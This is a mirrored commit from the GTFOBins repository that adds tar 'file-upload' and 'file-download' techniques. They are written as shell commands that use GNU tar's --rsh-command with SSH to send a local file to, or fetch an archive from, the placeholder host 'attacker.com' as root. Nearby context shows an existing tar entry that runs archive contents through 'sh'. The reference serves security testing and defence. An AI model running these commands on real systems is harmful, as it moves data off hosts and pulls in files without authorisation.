mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Add file-download and file-upload to tar
This commit is contained in:
		
				
					committed by
					
						 Andrea Cardaci
						Andrea Cardaci
					
				
			
			
				
	
			
			
			
						parent
						
							26ea00d78a
						
					
				
				
					commit
					3a0179306c
				
			| @@ -11,6 +11,21 @@ functions: | ||||
|         tar cf "$TF.tar" "$TF" | ||||
|         tar xf "$TF.tar" --to-command sh | ||||
|         rm "$TF"* | ||||
|   file-upload: | ||||
|     - description: This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions). | ||||
|       code: | | ||||
|         export RHOST=attacker.com | ||||
|         export RUSER=root | ||||
|         export RFILE=/tmp/file_to_send.tar | ||||
|         export LFILE=file_to_send | ||||
|         tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh | ||||
|   file-download: | ||||
|     - description: This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions). | ||||
|       code: | | ||||
|         export RHOST=attacker.com | ||||
|         export RUSER=root | ||||
|         export RFILE=/tmp/file_to_get.tar | ||||
|         tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh | ||||
|   file-write: | ||||
|     - description: This only works for GNU tar. | ||||
|       code: | | ||||
|   | ||||
		Reference in New Issue
	
	Block a user